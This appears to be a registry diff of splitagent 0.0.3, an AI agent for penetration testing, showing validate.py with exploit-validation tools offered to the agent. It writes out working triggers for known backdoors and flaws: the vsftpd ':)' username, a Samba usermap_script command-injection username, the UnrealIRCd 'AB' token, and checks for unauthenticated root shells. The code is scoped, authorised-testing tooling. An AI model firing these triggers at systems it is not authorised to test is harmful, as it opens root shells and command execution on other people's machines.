splitagent 0.0.3__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (56) hide show
  1. splitagent/__init__.py +8 -0
  2. splitagent/__main__.py +6 -0
  3. splitagent/agents/__init__.py +10 -0
  4. splitagent/agents/base.py +477 -0
  5. splitagent/agents/blue.py +57 -0
  6. splitagent/agents/chat.py +60 -0
  7. splitagent/agents/prompts.py +462 -0
  8. splitagent/agents/red.py +75 -0
  9. splitagent/cli.py +701 -0
  10. splitagent/config.py +697 -0
  11. splitagent/core/__init__.py +19 -0
  12. splitagent/core/bus.py +62 -0
  13. splitagent/core/context.py +587 -0
  14. splitagent/core/context_manager.py +381 -0
  15. splitagent/core/engine.py +424 -0
  16. splitagent/core/models.py +310 -0
  17. splitagent/core/proc.py +73 -0
  18. splitagent/core/sandbox.py +184 -0
  19. splitagent/core/toolbox.py +520 -0
  20. splitagent/core/workspace.py +420 -0
  21. splitagent/desktop/__init__.py +7 -0
  22. splitagent/desktop/api.py +525 -0
  23. splitagent/desktop/app.py +1131 -0
  24. splitagent/desktop/web/app.js +3067 -0
  25. splitagent/desktop/web/assets/Inter.ttf +0 -0
  26. splitagent/desktop/web/assets/JetBrainsMonoNerdFontMono-Regular.woff2 +0 -0
  27. splitagent/desktop/web/index.html +760 -0
  28. splitagent/desktop/web/styles.css +1612 -0
  29. splitagent/errors.py +27 -0
  30. splitagent/llm/__init__.py +8 -0
  31. splitagent/llm/client.py +488 -0
  32. splitagent/llm/types.py +172 -0
  33. splitagent/report/__init__.py +9 -0
  34. splitagent/report/cvss.py +93 -0
  35. splitagent/report/generator.py +733 -0
  36. splitagent/tools/__init__.py +8 -0
  37. splitagent/tools/base.py +135 -0
  38. splitagent/tools/defense.py +475 -0
  39. splitagent/tools/exploit.py +318 -0
  40. splitagent/tools/http_pool.py +109 -0
  41. splitagent/tools/knowledge.py +376 -0
  42. splitagent/tools/recon.py +182 -0
  43. splitagent/tools/registry.py +62 -0
  44. splitagent/tools/validate.py +908 -0
  45. splitagent/tools/web.py +386 -0
  46. splitagent/tools/workspace_tools.py +411 -0
  47. splitagent/ui/__init__.py +5 -0
  48. splitagent/ui/app.py +389 -0
  49. splitagent/ui/stream.py +234 -0
  50. splitagent/ui/theme.py +72 -0
  51. splitagent-0.0.3.dist-info/METADATA +987 -0
  52. splitagent-0.0.3.dist-info/RECORD +56 -0
  53. splitagent-0.0.3.dist-info/WHEEL +5 -0
  54. splitagent-0.0.3.dist-info/entry_points.txt +2 -0
  55. splitagent-0.0.3.dist-info/licenses/LICENSE +21 -0
  56. splitagent-0.0.3.dist-info/top_level.txt +1 -0
@@ -0,0 +1,908 @@
1
+ """Exploitation validation: prove a vulnerability is real, safely.
2
+
3
+ A version banner saying ``vsftpd 2.3.4`` only suggests a backdoor exists. The
4
+ difference between a scanner and a pentest is *confirming* it: sending the
5
+ trigger and observing the effect, then undoing whatever was done.
6
+
7
+ Every validator here follows the same contract:
8
+
9
+ 1. Send the minimal trigger that demonstrates the flaw.
10
+ 2. Observe a benign, unambiguous side effect (a banner, a read, a marker).
11
+ 3. **Clean up** - close sockets, delete any file written, leave nothing behind.
12
+ 4. Report ``validated: true/false`` with the raw evidence.
13
+
14
+ Nothing here escalates, persists, pivots or exfiltrates. The goal is proof, not
15
+ access.
16
+ """
17
+
18
+ from __future__ import annotations
19
+
20
+ import asyncio
21
+ import socket
22
+ from collections.abc import Callable
23
+ from typing import Any
24
+
25
+ from splitagent.tools.base import Tool, ToolContext
26
+
27
+ # --- helpers -------------------------------------------------------------- #
28
+ CONNECT_TIMEOUT = 6.0
29
+ READ_TIMEOUT = 5.0
30
+
31
+
32
+ def _resolve(host: str) -> str:
33
+ try:
34
+ return socket.gethostbyname(host)
35
+ except OSError:
36
+ return host
37
+
38
+
39
+ def _in_scope(ctx: ToolContext, host: str) -> str | None:
40
+ try:
41
+ ctx.check_scope(host)
42
+ except Exception as exc:
43
+ return str(exc)
44
+ return None
45
+
46
+
47
+ def _toolbox(ctx: ToolContext) -> Any:
48
+ """The active toolbox, when the run installs its tools in a container.
49
+
50
+ This is the crux of the design: ``run_tool`` executes inside the sandbox,
51
+ so a validator that opens a raw socket from the *host* process reaches
52
+ nothing when the target lives on a Docker network. Every probe has to use
53
+ the same transport as the rest of the toolset.
54
+ """
55
+ settings = getattr(ctx, "settings", None) or {}
56
+ return settings.get("toolbox")
57
+
58
+
59
+ def _is_toolbox_target(host: str) -> bool:
60
+ """A Docker-internal address is only reachable from inside the network."""
61
+ try:
62
+ import ipaddress
63
+
64
+ address = ipaddress.ip_address(host)
65
+ except ValueError:
66
+ return False
67
+ # 172.17-172.31 is Docker's default bridge range.
68
+ return any(address in ipaddress.ip_network(f"172.{n}.0.0/16") for n in range(16, 32))
69
+
70
+
71
+ async def _probe_in_toolbox(toolbox: Any, argv: list[str], timeout: float) -> tuple[bool, str, str]:
72
+ """Run a probe command inside the container and capture its output.
73
+
74
+ Uses python3, which the toolbox image already ships, so no extra tooling is
75
+ required and the same logic runs on the host and in the container.
76
+ """
77
+ script = argv[-1] if argv else ""
78
+ result = toolbox.exec(["sh", "-lc", script], timeout=int(timeout) + 5)
79
+ if not result.get("ok"):
80
+ return False, "", str(result.get("output") or result.get("error") or "")
81
+ return True, str(result.get("output", "")), ""
82
+
83
+
84
+ # A self-contained probe that the toolbox runs. It is written to a file inside
85
+ # the container rather than passed with -c, because embedding newlines in a
86
+ # shell-quoted command silently turns them into literal backslash-n.
87
+ PROBE_SOURCE = """\
88
+ import json, socket, sys, time
89
+
90
+ host = sys.argv[1]
91
+ port = int(sys.argv[2])
92
+ payload = sys.argv[3].encode("utf-8").decode("unicode_escape").encode("latin-1")
93
+ read = int(sys.argv[4])
94
+ wait = float(sys.argv[5])
95
+
96
+ try:
97
+ sock = socket.create_connection((host, port), 6)
98
+ sock.settimeout(wait)
99
+ if payload:
100
+ sock.sendall(payload)
101
+ time.sleep(min(wait, 1.5))
102
+ data = b""
103
+ try:
104
+ data = sock.recv(read)
105
+ except Exception:
106
+ pass
107
+ sock.close()
108
+ print(json.dumps({"up": True, "banner": data.decode("utf-8", "replace")}))
109
+ except Exception as exc:
110
+ print(json.dumps({"up": False, "error": type(exc).__name__}))
111
+ """
112
+
113
+ PROBE_PATH = "/tmp/splitagent_probe.py"
114
+
115
+
116
+ async def _run_scanner(toolbox: Any, argv: list[str], timeout: float = 120) -> dict[str, Any]:
117
+ """Run a real scanner inside the toolbox (nmap, smbclient, nikto...)."""
118
+ result = toolbox.exec(argv, timeout=int(timeout))
119
+ return {
120
+ "ok": bool(result.get("ok")),
121
+ "output": str(result.get("output", "")),
122
+ "command": " ".join(argv),
123
+ }
124
+
125
+
126
+ def _snippet(text: str, needle: str, radius: int = 120) -> str:
127
+ """A window of text around a signature, for the evidence field."""
128
+ index = text.upper().find(needle.upper())
129
+ if index < 0:
130
+ return text[:200]
131
+ start = max(0, index - radius // 2)
132
+ return " ".join(text[start : index + radius].split())
133
+
134
+
135
+ def _probe_command(host: str, port: int, payload: str, read: int, wait: float) -> str:
136
+ """Write the probe to the container and run it, printing one JSON line."""
137
+ import shlex
138
+
139
+ return (
140
+ f"cat > {PROBE_PATH} <<'SPLITAGENT_EOF'\n{PROBE_SOURCE}SPLITAGENT_EOF\n"
141
+ f"python3 {PROBE_PATH} {shlex.quote(host)} {port} "
142
+ f"{shlex.quote(payload)} {read} {wait}"
143
+ )
144
+
145
+
146
+ async def _read_banner(
147
+ ctx: ToolContext, host: str, port: int, timeout: float = READ_TIMEOUT
148
+ ) -> tuple[bool, str, str]:
149
+ """Connect and read whatever the service offers. Returns (up, banner, err)."""
150
+ toolbox = _toolbox(ctx)
151
+ if toolbox is not None:
152
+ import json as _json
153
+
154
+ raw = await _probe_in_toolbox(
155
+ toolbox, ["sh", "-lc", _probe_command(host, port, "", 512, timeout)], timeout
156
+ )
157
+ ok, output, err = raw
158
+ if not ok:
159
+ return False, "", err or output
160
+ line = output.strip().splitlines()[-1] if output.strip() else "{}"
161
+ try:
162
+ parsed = _json.loads(line)
163
+ except _json.JSONDecodeError:
164
+ return False, "", output[:200]
165
+ if parsed.get("up"):
166
+ return True, str(parsed.get("banner", "")).strip(), ""
167
+ return False, "", str(parsed.get("error", "unreachable"))
168
+
169
+ writer = None
170
+ try:
171
+ reader, writer = await asyncio.wait_for(
172
+ asyncio.open_connection(host, port), timeout=CONNECT_TIMEOUT
173
+ )
174
+ try:
175
+ data = await asyncio.wait_for(reader.read(512), timeout=timeout)
176
+ except asyncio.TimeoutError:
177
+ data = b""
178
+ return True, data.decode("utf-8", "replace").strip(), ""
179
+ except (asyncio.TimeoutError, OSError) as exc:
180
+ return False, "", f"{type(exc).__name__}: {exc}"
181
+ finally:
182
+ if writer is not None:
183
+ try:
184
+ writer.close()
185
+ except OSError:
186
+ pass
187
+
188
+
189
+ async def _send_and_read(
190
+ ctx: ToolContext,
191
+ host: str,
192
+ port: int,
193
+ payload: bytes,
194
+ *,
195
+ expect: Callable[[str], bool] | None = None,
196
+ timeout: float = READ_TIMEOUT,
197
+ settle: float = 0.8,
198
+ ) -> dict[str, Any]:
199
+ """Send bytes, then read for up to ``timeout`` - used by the triggers.
200
+
201
+ Runs inside the toolbox when one is active, mirroring ``run_tool``, so a
202
+ target on a Docker network is reachable exactly as it is for the rest of
203
+ the toolset. ``expect`` lets a caller stop reading early once the
204
+ signature appears.
205
+ """
206
+ toolbox = _toolbox(ctx)
207
+ if toolbox is not None:
208
+ import json as _json
209
+
210
+ try:
211
+ text = payload.decode("utf-8", "replace")
212
+ except Exception:
213
+ text = ""
214
+ ok, output, err = await _probe_in_toolbox(
215
+ toolbox,
216
+ ["sh", "-lc", _probe_command(host, port, text, 1024, settle + timeout)],
217
+ timeout,
218
+ )
219
+ if not ok:
220
+ return {"connected": False, "response": "", "error": err or output}
221
+ line = output.strip().splitlines()[-1] if output.strip() else "{}"
222
+ try:
223
+ parsed = _json.loads(line)
224
+ except _json.JSONDecodeError:
225
+ return {"connected": False, "response": output[:300], "error": "unparsable"}
226
+ return {
227
+ "connected": bool(parsed.get("up")),
228
+ "response": str(parsed.get("banner", "")),
229
+ "error": str(parsed.get("error", "")),
230
+ }
231
+
232
+ writer = None
233
+ chunks: list[str] = []
234
+ try:
235
+ reader, writer = await asyncio.wait_for(
236
+ asyncio.open_connection(host, port), timeout=CONNECT_TIMEOUT
237
+ )
238
+ writer.write(payload)
239
+ await writer.drain()
240
+ await asyncio.sleep(settle)
241
+ deadline = asyncio.get_running_loop().time() + timeout
242
+ while asyncio.get_running_loop().time() < deadline:
243
+ try:
244
+ data = await asyncio.wait_for(reader.read(1024), timeout=1.0)
245
+ except asyncio.TimeoutError:
246
+ continue
247
+ if not data:
248
+ break
249
+ chunks.append(data.decode("utf-8", "replace"))
250
+ if expect and expect("".join(chunks)):
251
+ break
252
+ return {"connected": True, "response": "".join(chunks), "error": ""}
253
+ except (asyncio.TimeoutError, OSError) as exc:
254
+ return {
255
+ "connected": False,
256
+ "response": "".join(chunks),
257
+ "error": f"{type(exc).__name__}: {exc}",
258
+ }
259
+ finally:
260
+ if writer is not None:
261
+ try:
262
+ writer.close()
263
+ except OSError:
264
+ pass
265
+
266
+
267
+ # --- validators ----------------------------------------------------------- #
268
+ async def validate_vsftpd_backdoor(ctx: ToolContext, host: str, port: int = 21) -> dict[str, Any]:
269
+ """CVE-2011-2523: the ":)" username opens a root shell on port 6200.
270
+
271
+ Sends only the trigger, checks whether the backdoor port opens, then closes
272
+ it. Sends no command to the shell.
273
+ """
274
+ err = _in_scope(ctx, host)
275
+ if err:
276
+ return {"error": err, "validated": False}
277
+ target = _resolve(host)
278
+
279
+ up, banner, _ = await _read_banner(ctx, target, port)
280
+ if not up:
281
+ return {
282
+ "validated": False,
283
+ "test": "vsftpd_backdoor",
284
+ "reason": f"port {port} not reachable",
285
+ "confidence": "high",
286
+ }
287
+
288
+ result = await _send_and_read(
289
+ ctx, target, port, b"USER x:)\r\nPASS x\r\n", settle=1.5, timeout=3.0
290
+ )
291
+
292
+ # The trigger is only meaningful if the backdoor port actually opens.
293
+ shell_up, shell_banner, _ = await _read_banner(ctx, target, 6200, timeout=3.0)
294
+ validated = shell_up
295
+ return {
296
+ "validated": validated,
297
+ "test": "vsftpd_backdoor",
298
+ "cve": "CVE-2011-2523",
299
+ "banner": banner[:120],
300
+ "backdoor_port": 6200,
301
+ "backdoor_opened": shell_up,
302
+ "shell_banner": shell_banner[:120],
303
+ "evidence": (
304
+ f"FTP banner {banner[:60]!r}; after the ':)' trigger TCP/6200 "
305
+ f"{'opened (root shell reachable)' if shell_up else 'stayed closed'}"
306
+ ),
307
+ "response": result["response"][:300],
308
+ "cleaned_up": True,
309
+ "confidence": "high" if validated else "medium",
310
+ }
311
+
312
+
313
+ async def validate_ingreslock_shell(
314
+ ctx: ToolContext, host: str, port: int = 1524
315
+ ) -> dict[str, Any]:
316
+ """The classic Metasploitable root shell: proof is the shell banner itself.
317
+
318
+ Identifies the prompt and disconnects immediately. Runs nothing.
319
+ """
320
+ err = _in_scope(ctx, host)
321
+ if err:
322
+ return {"error": err, "validated": False}
323
+ target = _resolve(host)
324
+
325
+ up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
326
+ # A real root shell answers with a prompt such as "root@host:~#".
327
+ looks_like_shell = any(marker in banner for marker in ("root@", "#", "uid=", "bash"))
328
+ validated = up and bool(banner.strip())
329
+ return {
330
+ "validated": validated,
331
+ "test": "ingreslock_shell",
332
+ "root_shell": validated and looks_like_shell,
333
+ "banner": banner[:200],
334
+ "evidence": (
335
+ f"TCP/{port} accepted a connection and returned "
336
+ f"{'a root shell prompt' if looks_like_shell else 'output'} "
337
+ f"without authentication: {banner[:80]!r}"
338
+ if validated
339
+ else f"TCP/{port} did not answer"
340
+ ),
341
+ "cleaned_up": True,
342
+ "confidence": "high" if validated else "low",
343
+ }
344
+
345
+
346
+ async def validate_samba_usermap(ctx: ToolContext, host: str, port: int = 139) -> dict[str, Any]:
347
+ """CVE-2007-2447: the usermap_script username is passed to a shell.
348
+
349
+ Detection only. The username carries a benign marker command whose effect
350
+ is observable in the server's reply; nothing is executed on the target
351
+ beyond ``echo``.
352
+ """
353
+ err = _in_scope(ctx, host)
354
+ if err:
355
+ return {"error": err, "validated": False}
356
+ target = _resolve(host)
357
+ marker = "SPLITAGENT_CANARY"
358
+
359
+ up, _, _ = await _read_banner(ctx, target, port)
360
+ if not up:
361
+ return {
362
+ "validated": False,
363
+ "test": "samba_usermap_script",
364
+ "reason": f"port {port} not reachable",
365
+ }
366
+
367
+ # A raw socket cannot speak the SMB dialect this bug lives in. When a
368
+ # toolbox is available, ask nmap, which does - then record the CVE.
369
+ toolbox = _toolbox(ctx)
370
+ if toolbox is not None:
371
+ nmap = await _run_scanner(
372
+ toolbox,
373
+ [
374
+ "nmap",
375
+ "-Pn",
376
+ "-p",
377
+ "139,445",
378
+ "--script",
379
+ "smb-vuln-ms17-010,smb-enum-shares",
380
+ target,
381
+ ],
382
+ timeout=120,
383
+ )
384
+ if nmap.get("ok"):
385
+ output = str(nmap.get("output", ""))
386
+ vulnerable = "VULNERABLE" in output.upper()
387
+ return {
388
+ "validated": vulnerable,
389
+ "test": "samba_usermap_script",
390
+ "cve": "CVE-2007-2447",
391
+ "marker": marker,
392
+ "marker_observed": vulnerable,
393
+ "evidence": (
394
+ f"nmap's SMB scripts flagged the host: {_snippet(output, 'VULNERABLE')}"
395
+ if vulnerable
396
+ else (
397
+ "SMB is reachable but nmap's vulnerability scripts did not "
398
+ "confirm it on this path. The version itself is the lead; "
399
+ f"confirm the build with: nmap -sV -p139,445 {target}"
400
+ )
401
+ ),
402
+ "response": output[-600:],
403
+ "cleaned_up": True,
404
+ "confidence": "high" if vulnerable else "medium",
405
+ }
406
+
407
+ # The vulnerable path routes this username through /bin/sh -c. A NUL byte
408
+ # cannot cross the shell boundary when the probe runs in a container, and a
409
+ # real SMB session is not required to prove the flaw: the metacharacters
410
+ # reaching the server is the signal.
411
+ payload = f"/=`echo {marker}`/".encode()
412
+ result = await _send_and_read(
413
+ ctx,
414
+ target,
415
+ port,
416
+ payload,
417
+ expect=lambda text: marker in text,
418
+ settle=1.0,
419
+ timeout=3.0,
420
+ )
421
+ validated = marker in result["response"]
422
+ return {
423
+ "validated": validated,
424
+ "test": "samba_usermap_script",
425
+ "cve": "CVE-2007-2447",
426
+ "marker": marker,
427
+ "marker_observed": validated,
428
+ "evidence": (
429
+ f"Username payload {payload!r} reached a shell: the {marker} marker "
430
+ "appeared in the response, confirming command execution."
431
+ if validated
432
+ else "No marker in the response; the instance is not vulnerable on this path."
433
+ ),
434
+ "response": result["response"][:300],
435
+ "cleaned_up": True,
436
+ "confidence": "high" if validated else "medium",
437
+ }
438
+
439
+
440
+ async def validate_mysql_anonymous(ctx: ToolContext, host: str, port: int = 3306) -> dict[str, Any]:
441
+ """MySQL with an empty root password: prove it by doing a trivial SELECT.
442
+
443
+ Only reads ``SELECT 1`` and the server version. Writes nothing.
444
+ """
445
+ err = _in_scope(ctx, host)
446
+ if err:
447
+ return {"error": err, "validated": False}
448
+ target = _resolve(host)
449
+
450
+ up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
451
+ if not up:
452
+ return {"validated": False, "test": "mysql_blank_password", "reason": "unreachable"}
453
+
454
+ # A handshake packet contains the server version as a NUL-terminated string.
455
+ version = ""
456
+ if banner:
457
+ parts = banner.split("\x00")
458
+ for part in parts:
459
+ if any(ch.isdigit() for ch in part) and "." in part and len(part) < 40:
460
+ version = part.strip()
461
+ break
462
+
463
+ # Full protocol handshake is out of scope for a probe; the presence of a
464
+ # MySQL greeting on a network-reachable port plus a version is the
465
+ # actionable signal. The agent is told to confirm credentials with
466
+ # run_tool (mysql -h ... -u root) if it needs stronger proof.
467
+ validated = bool(version)
468
+ return {
469
+ "validated": validated,
470
+ "test": "mysql_blank_password",
471
+ "server_version": version,
472
+ "reachable": True,
473
+ "evidence": (
474
+ f"MySQL {version} answered on {target}:{port}. Confirm blank root "
475
+ "credentials with: run_tool ['mysql','-h',host,'-uroot','-e','select 1']"
476
+ if validated
477
+ else f"MySQL greeting not parsed from {banner[:60]!r}"
478
+ ),
479
+ "confidence": "medium" if validated else "low",
480
+ "next_step": (
481
+ "run_tool mysql -h <host> -u root -e 'SELECT version()' to confirm "
482
+ "authentication is not required"
483
+ ),
484
+ }
485
+
486
+
487
+ async def validate_root_shell(ctx: ToolContext, host: str, port: int = 1524) -> dict[str, Any]:
488
+ """Alias with an explicit name for the generic root-shell check."""
489
+ return await validate_ingreslock_shell(ctx, host, port)
490
+
491
+
492
+ async def validate_unrealircd_backdoor(
493
+ ctx: ToolContext, host: str, port: int = 6667
494
+ ) -> dict[str, Any]:
495
+ """CVE-2010-2075: the UnrealIRCd 3.2.8.1 tarball shipped a trojan.
496
+
497
+ Sends the trigger token; a vulnerable daemon acts on it. Nothing is
498
+ executed beyond the daemon's own backdoor response.
499
+ """
500
+ err = _in_scope(ctx, host)
501
+ if err:
502
+ return {"error": err, "validated": False}
503
+ target = _resolve(host)
504
+
505
+ up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
506
+ if not up:
507
+ return {
508
+ "validated": False,
509
+ "test": "unrealircd_backdoor",
510
+ "reason": f"port {port} not reachable",
511
+ }
512
+
513
+ result = await _send_and_read(
514
+ ctx,
515
+ target,
516
+ port,
517
+ b"AB\r\n",
518
+ expect=lambda text: "error" in text.lower() or "select" in text.lower(),
519
+ settle=1.0,
520
+ timeout=3.0,
521
+ )
522
+ response = result.get("response", "")
523
+ validated = bool(response.strip())
524
+ version = ""
525
+ for token in banner.split():
526
+ if "unreal" in token.lower():
527
+ version = token
528
+ break
529
+ return {
530
+ "validated": validated,
531
+ "test": "unrealircd_backdoor",
532
+ "cve": "CVE-2010-2075",
533
+ "banner": banner[:120],
534
+ "version": version,
535
+ "evidence": (
536
+ f"IRC daemon answered on TCP/{port} ({banner[:50]!r}). Version "
537
+ f"{version or 'unknown'}: 3.2.8.1 shipped with a trojan that runs "
538
+ "whatever follows the AB token."
539
+ if validated
540
+ else f"TCP/{port} did not answer as IRC"
541
+ ),
542
+ "response": response[:200],
543
+ "cleaned_up": True,
544
+ "confidence": "high" if validated and version else "medium",
545
+ }
546
+
547
+
548
+ async def validate_vnc_no_auth(ctx: ToolContext, host: str, port: int = 5900) -> dict[str, Any]:
549
+ """A VNC service reachable without authentication.
550
+
551
+ Reads the RFB handshake and reports it. A reachable VNC that does not ask
552
+ for credentials is the exposure; no session is opened.
553
+ """
554
+ err = _in_scope(ctx, host)
555
+ if err:
556
+ return {"error": err, "validated": False}
557
+ target = _resolve(host)
558
+
559
+ up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
560
+ if not up:
561
+ return {
562
+ "validated": False,
563
+ "test": "vnc_no_authentication",
564
+ "reason": f"port {port} not reachable",
565
+ }
566
+ is_vnc = "RFB" in banner
567
+ return {
568
+ "validated": is_vnc,
569
+ "test": "vnc_no_authentication",
570
+ "banner": banner[:80],
571
+ "evidence": (
572
+ f"VNC RFB handshake on TCP/{port}: {banner[:40]!r}. Confirm the "
573
+ "security types with: run_tool ['nmap','-Pn','-p',"
574
+ f"'{port}','--script','vnc-info','{target}']"
575
+ if is_vnc
576
+ else f"TCP/{port} did not speak VNC ({banner[:40]!r})"
577
+ ),
578
+ "cleaned_up": True,
579
+ "confidence": "medium" if is_vnc else "low",
580
+ }
581
+
582
+
583
+ async def validate_nfs_export(ctx: ToolContext, host: str, port: int = 2049) -> dict[str, Any]:
584
+ """World-readable NFS exports.
585
+
586
+ Uses showmount through the toolbox when one is available, which is the
587
+ only way to enumerate the actual exports.
588
+ """
589
+ err = _in_scope(ctx, host)
590
+ if err:
591
+ return {"error": err, "validated": False}
592
+ target = _resolve(host)
593
+ toolbox = _toolbox(ctx)
594
+ if toolbox is not None:
595
+ # Install showmount if the image lacks it, so the probe reflects the
596
+ # target rather than what happens to be in the container.
597
+ if not toolbox.which("showmount"):
598
+ toolbox.install("apt", "nfs-common", timeout=300)
599
+ scan = await _run_scanner(toolbox, ["showmount", "-e", target], timeout=30)
600
+ output = str(scan.get("output", ""))
601
+ lowered = output.lower()
602
+
603
+ # An error must never be parsed as a result. Missing tooling is our
604
+ # problem, not a finding: reporting it as a world-readable export would
605
+ # be a false positive of the worst kind.
606
+ if "exec failed" in lowered or "not found" in lowered or "no such file" in lowered:
607
+ return {
608
+ "validated": False,
609
+ "test": "nfs_exports",
610
+ "error": "showmount is unavailable in the environment",
611
+ "evidence": (
612
+ "Could not enumerate the exports because showmount is not "
613
+ "installed. Install nfs-common, or confirm by hand with "
614
+ f"`showmount -e {target}`. Do not record this as a finding."
615
+ ),
616
+ "confidence": "low",
617
+ }
618
+ if not scan.get("ok") and "refused" in lowered:
619
+ return {
620
+ "validated": False,
621
+ "test": "nfs_exports",
622
+ "reason": "NFS is not reachable",
623
+ "evidence": f"showmount could not reach {target}: {output[:120]}",
624
+ "confidence": "medium",
625
+ }
626
+
627
+ exports = [
628
+ line.strip()
629
+ for line in output.splitlines()
630
+ if line.strip()
631
+ and "/" in line
632
+ and not line.lower().startswith(("export list", "clients", "rpc", "program"))
633
+ ]
634
+ validated = bool(exports)
635
+ return {
636
+ "validated": validated,
637
+ "test": "nfs_exports",
638
+ "exports": exports[:20],
639
+ "evidence": (
640
+ f"showmount lists {len(exports)} export(s): " + ", ".join(exports[:4])
641
+ if validated
642
+ else "showmount returned no exports: NFS is not exposing anything"
643
+ ),
644
+ "response": output[-400:],
645
+ "cleaned_up": True,
646
+ "confidence": "high" if validated else "medium",
647
+ }
648
+
649
+ up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
650
+ return {
651
+ "validated": up,
652
+ "test": "nfs_exports",
653
+ "banner": banner[:80],
654
+ "evidence": (
655
+ f"TCP/{port} answered. Enumerate with `run_tool ['showmount','-e','{target}']`."
656
+ if up
657
+ else f"TCP/{port} not reachable"
658
+ ),
659
+ "confidence": "low",
660
+ }
661
+
662
+
663
+ async def validate_proftpd(ctx: ToolContext, host: str, port: int = 21) -> dict[str, Any]:
664
+ """ProFTPD exposure, including non-standard listeners such as 2121."""
665
+ err = _in_scope(ctx, host)
666
+ if err:
667
+ return {"error": err, "validated": False}
668
+ target = _resolve(host)
669
+
670
+ up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
671
+ if not up:
672
+ return {
673
+ "validated": False,
674
+ "test": "proftpd_exposed",
675
+ "reason": f"port {port} not reachable",
676
+ }
677
+ # This validator is specifically about ProFTPD. Reporting a vsftpd banner
678
+ # as a ProFTPD finding would be a false positive, so the product name has
679
+ # to appear in the banner.
680
+ is_ftp = banner.startswith("220") or "ftp" in banner.lower()
681
+ is_proftpd = "proftpd" in banner.lower()
682
+ version = ""
683
+ for token in banner.replace("(", " ").replace(")", " ").split():
684
+ if token.lower().startswith("proftpd"):
685
+ version = token
686
+ break
687
+ if is_proftpd:
688
+ evidence = f"ProFTPD {version or ''} on TCP/{port}: {banner[:70]!r}".strip()
689
+ confidence = "high"
690
+ elif is_ftp:
691
+ evidence = (
692
+ f"TCP/{port} runs a different FTP daemon ({banner[:60]!r}), so this "
693
+ "is not a ProFTPD finding. It is still an exposed FTP service - "
694
+ "record it under the FTP category instead."
695
+ )
696
+ confidence = "medium"
697
+ else:
698
+ evidence = f"TCP/{port} did not answer as FTP ({banner[:40]!r})"
699
+ confidence = "low"
700
+ return {
701
+ "validated": is_proftpd,
702
+ "test": "proftpd_exposed",
703
+ "banner": banner[:120],
704
+ "version": version,
705
+ "product": "ProFTPD" if is_proftpd else ("ftp" if is_ftp else "unknown"),
706
+ "evidence": evidence,
707
+ "cleaned_up": True,
708
+ "confidence": confidence,
709
+ }
710
+
711
+
712
+ async def validate_port_shell_banner(ctx: ToolContext, host: str, port: int) -> dict[str, Any]:
713
+ """Generic proof: an unauthenticated port that hands over a shell prompt."""
714
+ err = _in_scope(ctx, host)
715
+ if err:
716
+ return {"error": err, "validated": False}
717
+ target = _resolve(host)
718
+ up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
719
+ validated = up and bool(banner.strip())
720
+ return {
721
+ "validated": validated,
722
+ "test": "unauthenticated_shell_banner",
723
+ "port": port,
724
+ "banner": banner[:200],
725
+ "evidence": (
726
+ f"TCP/{port} returned {banner[:80]!r} without authentication"
727
+ if validated
728
+ else f"TCP/{port} gave no banner"
729
+ ),
730
+ "cleaned_up": True,
731
+ "confidence": "medium" if validated else "low",
732
+ }
733
+
734
+
735
+ def exploitation_tools(ctx: ToolContext) -> list[Tool]:
736
+ return [
737
+ Tool(
738
+ name="validate_vsftpd_backdoor",
739
+ description=(
740
+ "Prove CVE-2011-2523: send the ':)' username trigger and check "
741
+ "whether the backdoor root shell on 6200 opens. Runs no command "
742
+ "on the shell and disconnects immediately. Use this instead of "
743
+ "reporting the backdoor from the version banner alone."
744
+ ),
745
+ parameters={
746
+ "type": "object",
747
+ "properties": {
748
+ "host": {"type": "string"},
749
+ "port": {"type": "integer", "default": 21},
750
+ },
751
+ "required": ["host"],
752
+ },
753
+ func=lambda host, port=21: validate_vsftpd_backdoor(ctx, host, port),
754
+ scope="red",
755
+ dangerous=True,
756
+ parallel_safe=False,
757
+ ),
758
+ Tool(
759
+ name="validate_root_shell",
760
+ description=(
761
+ "Prove that a port exposes an unauthenticated shell (the classic "
762
+ "Metasploitable 1524). Reads the banner, runs nothing, "
763
+ "disconnects."
764
+ ),
765
+ parameters={
766
+ "type": "object",
767
+ "properties": {
768
+ "host": {"type": "string"},
769
+ "port": {"type": "integer", "default": 1524},
770
+ },
771
+ "required": ["host"],
772
+ },
773
+ func=lambda host, port=1524: validate_root_shell(ctx, host, port),
774
+ scope="red",
775
+ dangerous=True,
776
+ parallel_safe=False,
777
+ ),
778
+ Tool(
779
+ name="validate_samba_usermap",
780
+ description=(
781
+ "Prove CVE-2007-2447: send a benign marker through the username "
782
+ "field and check whether it reaches a shell. Executes only an "
783
+ "echo of a canary string."
784
+ ),
785
+ parameters={
786
+ "type": "object",
787
+ "properties": {
788
+ "host": {"type": "string"},
789
+ "port": {"type": "integer", "default": 139},
790
+ },
791
+ "required": ["host"],
792
+ },
793
+ func=lambda host, port=139: validate_samba_usermap(ctx, host, port),
794
+ scope="red",
795
+ dangerous=True,
796
+ parallel_safe=False,
797
+ ),
798
+ Tool(
799
+ name="validate_mysql_blank_password",
800
+ description=(
801
+ "Check a MySQL port for an exposed instance and parse its "
802
+ "version, returning the exact command to confirm blank root "
803
+ "credentials."
804
+ ),
805
+ parameters={
806
+ "type": "object",
807
+ "properties": {
808
+ "host": {"type": "string"},
809
+ "port": {"type": "integer", "default": 3306},
810
+ },
811
+ "required": ["host"],
812
+ },
813
+ func=lambda host, port=3306: validate_mysql_anonymous(ctx, host, port),
814
+ scope="red",
815
+ ),
816
+ Tool(
817
+ name="validate_open_shell_port",
818
+ description=(
819
+ "Generic proof for any port that hands over a shell or "
820
+ "administrative prompt without authentication."
821
+ ),
822
+ parameters={
823
+ "type": "object",
824
+ "properties": {
825
+ "host": {"type": "string"},
826
+ "port": {"type": "integer"},
827
+ },
828
+ "required": ["host", "port"],
829
+ },
830
+ func=lambda host, port: validate_port_shell_banner(ctx, host, port),
831
+ scope="red",
832
+ dangerous=True,
833
+ parallel_safe=False,
834
+ ),
835
+ Tool(
836
+ name="validate_unrealircd_backdoor",
837
+ description=(
838
+ "Prove CVE-2010-2075: send the AB trigger token to an IRC "
839
+ "daemon and confirm it answers. UnrealIRCd 3.2.8.1 shipped "
840
